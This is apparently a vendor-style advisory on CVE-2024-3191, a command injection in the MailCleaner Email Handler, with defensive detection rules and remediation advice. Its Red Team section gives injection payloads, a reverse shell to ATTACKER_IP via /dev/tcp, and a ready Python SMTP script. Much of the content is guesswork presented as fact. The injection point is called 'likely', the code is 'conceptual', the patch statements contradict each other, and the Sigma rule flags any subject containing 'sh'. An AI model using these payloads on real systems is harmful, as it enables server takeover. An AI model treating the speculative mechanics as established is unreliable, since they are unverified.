CVE-2024-3191

Executive Summary

CVE-2024-3191 is a critical OS command injection vulnerability in MailCleaner, affecting versions up to 2023.03.14. The flaw resides in the Email Handler component, allowing a remote, unauthenticated attacker to execute arbitrary operating system commands on the underlying server. With a CVSS score of 9.8, this vulnerability poses a severe risk to confidentiality, integrity, and availability. A public proof-of-concept (PoC) exploit has been released, increasing the likelihood of active exploitation. No official patch has been released, but the vendor recommends applying a patch. Immediate mitigation measures are required.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the MailCleaner appliance, which is a standalone software product.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public exploit exists. Successful exploitation leads to full system compromise.

Deep Dive & Mechanics

The vulnerability is an OS command injection in the Email Handler component of MailCleaner. The Email Handler processes incoming email messages and performs various actions, such as spam filtering and virus scanning. The flaw occurs when user-supplied data from an email (e.g., headers, subject, or body) is improperly sanitized before being passed to a system command. An attacker can craft a malicious email containing shell metacharacters (e.g., ;, |, $()) that, when processed, execute arbitrary commands on the server.

The injection point is likely in a function that constructs a command string using data extracted from the email. For example, if the application uses a command like echo [subject] | some_filter, an attacker can inject commands by setting the subject to ; malicious_command ;. The lack of input validation and the use of shell execution functions (e.g., system(), exec(), popen()) enable this attack.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct concatenation of user input into shell command
$subject = $_POST['subject'];
$command = "echo " . $subject . " | spam_filter";
system($command);

Patched Code (Conceptual):

// Patched: Use escapeshellarg() to sanitize input
$subject = $_POST['subject'];
$safe_subject = escapeshellarg($subject);
$command = "echo " . $safe_subject . " | spam_filter";
system($command);

The patched version uses escapeshellarg() to properly escape shell metacharacters, preventing command injection. Alternatively, using proc_open() with an argument array or avoiding shell execution entirely would be more secure.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable MailCleaner instance (version <= 2023.03.14)
• Network access to the SMTP or web interface
• A mail client or script to send crafted emails

Exploit Steps:

1. Identify the target MailCleaner server (e.g., via Shodan dork: MailCleaner).
2. Send a crafted email to the server with a malicious subject line:

   Subject: ; id > /tmp/pwned ;
   

3. The server processes the email, executing the injected command.
4. Verify command execution by checking for the file /tmp/pwned or by using a reverse shell:

   Subject: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 ;
   

5. Listen on your machine: nc -lvnp 4444

Example Exploit Script (Python):

import smtplib
from email.mime.text import MIMEText

target = "target.mailcleaner.com"
attacker_ip = "192.168.1.100"
attacker_port = 4444

msg = MIMEText("Test")
msg["Subject"] = f"; bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1 ;"
msg["From"] = "attacker@evil.com"
msg["To"] = "victim@target.com"

with smtplib.SMTP(target, 25) as server:
    server.send_message(msg)

Blue Team

Detection Steps:

1. Monitor email logs for suspicious subject lines containing shell metacharacters (;, |, $(), `).
2. Check for unexpected processes spawned by the MailCleaner service (e.g., bash, sh, nc, python).
3. Look for outbound connections from the MailCleaner server to unknown IPs on unusual ports.
4. Review system logs for command execution attempts (e.g., /var/log/syslog, /var/log/mail.log).

Honeypot Setup:

• Deploy a decoy MailCleaner instance with enhanced logging.
• Use a SIEM to alert on patterns like Subject: *;* or Subject: *|*.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from MailCleaner to attacker-controlled IPs on ports 4444, 8080, etc.
  • SMTP traffic with subjects containing shell metacharacters.
• File IOCs:
  • Unexpected files in /tmp/ (e.g., /tmp/pwned, /tmp/exploit.sh).
  • Modified system binaries or scripts.
• Process IOCs:
  • Unusual processes like bash, sh, nc, python spawned by the MailCleaner user.
• Log IOCs:
  • Entries in /var/log/syslog showing command execution (e.g., sh -c id).

Detection Engineering

YARA Rule

rule CVE_2024_3191_MailCleaner_CommandInjection {
    meta:
        description = "Detects command injection attempts in MailCleaner email subjects"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-3191"
    strings:
        $cmd1 = /Subject:\s*.*[;&|`$()]/
        $cmd2 = /Subject:\s*.*\b(bash|sh|nc|python|perl|ruby)\b/
    condition:
        any of them
}

Sigma Rule

title: MailCleaner Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts in MailCleaner email subjects
author: Valters IT
date: 2024-10-27
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-3191
logsource:
    category: application
    product: mailcleaner
detection:
    selection:
        Subject|contains:
            - ';'
            - '|'
            - '`'
            - '$('
            - 'bash'
            - 'sh'
            - 'nc'
            - 'python'
    condition: selection
falsepositives:
    - Legitimate emails with special characters in subject
level: high

Suricata Rule

alert smtp any any -> any 25 (msg:"CVE-2024-3191 MailCleaner Command Injection Attempt"; flow:to_server; content:"Subject"; nocase; pcre:"/Subject:\s*.*[;&|`$()]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Patch: If a patch becomes available, apply it immediately. Monitor the MailCleaner vendor for updates.
2. Network Segmentation: Isolate the MailCleaner server from critical systems and the internet if possible.
3. Input Validation: Implement strict input validation on all email headers and body fields. Use allowlists instead of blocklists.
4. Disable Unnecessary Features: If the Email Handler is not required, disable it.

Long-Term Measures:

1. Upgrade: Upgrade to a patched version of MailCleaner as soon as it is released.
2. Web Application Firewall (WAF): Deploy a WAF to filter malicious email content.
3. Regular Audits: Conduct regular security audits and penetration testing.
4. Monitoring: Implement continuous monitoring for command injection attempts using the provided detection rules.

Workaround:

• If patching is not possible, consider replacing the vulnerable Email Handler with a custom script that uses safe APIs (e.g., proc_open() with argument arrays) and avoids shell execution.

Valters IT